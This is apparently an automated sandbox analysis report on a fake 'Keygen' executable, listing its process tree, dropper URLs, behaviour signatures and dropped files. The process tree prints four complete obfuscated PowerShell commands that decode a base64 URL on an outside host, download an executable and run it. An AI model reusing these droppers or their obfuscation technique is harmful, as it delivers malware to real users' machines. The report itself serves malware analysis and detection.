201001-nyhbt4p25j_pw_infected[.]rar

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
6s
max time network
149s
platform
windows7_x64
resource
win7
submitted
01-10-2020 20:51

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Report Analysis Logs

General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (28) — копия.exe

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Signatures

Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

Keygen.exe

pid process

1404 Keygen.exe
Loads dropped DLL 1 IoCs

Processes:

cmd.exe

pid process

1816 cmd.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

1836 timeout.exe
1188 timeout.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

Keygen.exe

pid process

1404 Keygen.exe

pid	process
1404	Keygen.exe

pid	process
1816	cmd.exe

pid	process
1836	timeout.exe
1188	timeout.exe

pid	process
1404	Keygen.exe

Suspicious use of WriteProcessMemory 48 IoCs

Processes:

Keygen — копия (28) — копия.execmd.exemshta.exemshta.exemshta.exemshta.exe

description	pid	process	target process
PID 1440 wrote to memory of 1816	1440	Keygen — копия (28) — копия.exe	cmd.exe
PID 1440 wrote to memory of 1816	1440	Keygen — копия (28) — копия.exe	cmd.exe
PID 1440 wrote to memory of 1816	1440	Keygen — копия (28) — копия.exe	cmd.exe
PID 1440 wrote to memory of 1816	1440	Keygen — копия (28) — копия.exe	cmd.exe
PID 1816 wrote to memory of 1404	1816	cmd.exe	Keygen.exe
PID 1816 wrote to memory of 1404	1816	cmd.exe	Keygen.exe
PID 1816 wrote to memory of 1404	1816	cmd.exe	Keygen.exe
PID 1816 wrote to memory of 1404	1816	cmd.exe	Keygen.exe
PID 1816 wrote to memory of 1900	1816	cmd.exe	mshta.exe
PID 1816 wrote to memory of 1900	1816	cmd.exe	mshta.exe
PID 1816 wrote to memory of 1900	1816	cmd.exe	mshta.exe
PID 1816 wrote to memory of 1900	1816	cmd.exe	mshta.exe
PID 1816 wrote to memory of 1924	1816	cmd.exe	mshta.exe
PID 1816 wrote to memory of 1924	1816	cmd.exe	mshta.exe
PID 1816 wrote to memory of 1924	1816	cmd.exe	mshta.exe
PID 1816 wrote to memory of 1924	1816	cmd.exe	mshta.exe
PID 1816 wrote to memory of 1836	1816	cmd.exe	timeout.exe
PID 1816 wrote to memory of 1836	1816	cmd.exe	timeout.exe
PID 1816 wrote to memory of 1836	1816	cmd.exe	timeout.exe
PID 1816 wrote to memory of 1836	1816	cmd.exe	timeout.exe
PID 1900 wrote to memory of 1580	1900	mshta.exe	powershell.exe
PID 1900 wrote to memory of 1580	1900	mshta.exe	powershell.exe
PID 1900 wrote to memory of 1580	1900	mshta.exe	powershell.exe
PID 1900 wrote to memory of 1580	1900	mshta.exe	powershell.exe
PID 1924 wrote to memory of 1552	1924	mshta.exe	powershell.exe
PID 1924 wrote to memory of 1552	1924	mshta.exe	powershell.exe
PID 1924 wrote to memory of 1552	1924	mshta.exe	powershell.exe
PID 1924 wrote to memory of 1552	1924	mshta.exe	powershell.exe
PID 1816 wrote to memory of 2004	1816	cmd.exe	mshta.exe
PID 1816 wrote to memory of 2004	1816	cmd.exe	mshta.exe
PID 1816 wrote to memory of 2004	1816	cmd.exe	mshta.exe
PID 1816 wrote to memory of 2004	1816	cmd.exe	mshta.exe
PID 1816 wrote to memory of 1988	1816	cmd.exe	mshta.exe
PID 1816 wrote to memory of 1988	1816	cmd.exe	mshta.exe
PID 1816 wrote to memory of 1988	1816	cmd.exe	mshta.exe
PID 1816 wrote to memory of 1988	1816	cmd.exe	mshta.exe
PID 1816 wrote to memory of 1188	1816	cmd.exe	timeout.exe
PID 1816 wrote to memory of 1188	1816	cmd.exe	timeout.exe
PID 1816 wrote to memory of 1188	1816	cmd.exe	timeout.exe
PID 1816 wrote to memory of 1188	1816	cmd.exe	timeout.exe
PID 2004 wrote to memory of 612	2004	mshta.exe	powershell.exe
PID 2004 wrote to memory of 612	2004	mshta.exe	powershell.exe
PID 2004 wrote to memory of 612	2004	mshta.exe	powershell.exe
PID 2004 wrote to memory of 612	2004	mshta.exe	powershell.exe
PID 1988 wrote to memory of 1084	1988	mshta.exe	powershell.exe
PID 1988 wrote to memory of 1084	1988	mshta.exe	powershell.exe
PID 1988 wrote to memory of 1084	1988	mshta.exe	powershell.exe
PID 1988 wrote to memory of 1084	1988	mshta.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (28) — копия.exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (28) — копия.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1440

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Local\Temp\4B62.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (28) — ?????.exe""
2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1816

C:\Users\Admin\AppData\Local\Temp\4B62.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1404

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\4B62.tmp\m.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:1900

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
PID:1580

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\4B62.tmp\m1.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:1924

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
PID:1552

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:1836

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\4B62.tmp\b.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:2004

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
PID:612

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\4B62.tmp\b1.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:1988

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
PID:1084

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:1188

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\4B62.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\4B62.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\4B62.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\4B62.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\4B62.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\4B62.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\4B62.tmp\start.bat

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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\Users\Admin\AppData\Local\Temp\4B62.tmp\Keygen.exe

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memory/612-20-0x0000000000000000-mapping.dmp

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memory/1084-21-0x0000000000000000-mapping.dmp

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memory/1188-18-0x0000000000000000-mapping.dmp

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memory/1404-5-0x0000000000000000-mapping.dmp

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memory/1404-4-0x0000000000000000-mapping.dmp

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memory/1552-13-0x0000000000000000-mapping.dmp

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memory/1580-12-0x0000000000000000-mapping.dmp

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memory/1816-0-0x0000000000000000-mapping.dmp

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memory/1836-11-0x0000000000000000-mapping.dmp

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memory/1900-8-0x0000000000000000-mapping.dmp

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memory/1924-10-0x0000000000000000-mapping.dmp

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memory/1988-17-0x0000000000000000-mapping.dmp

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memory/2004-15-0x0000000000000000-mapping.dmp

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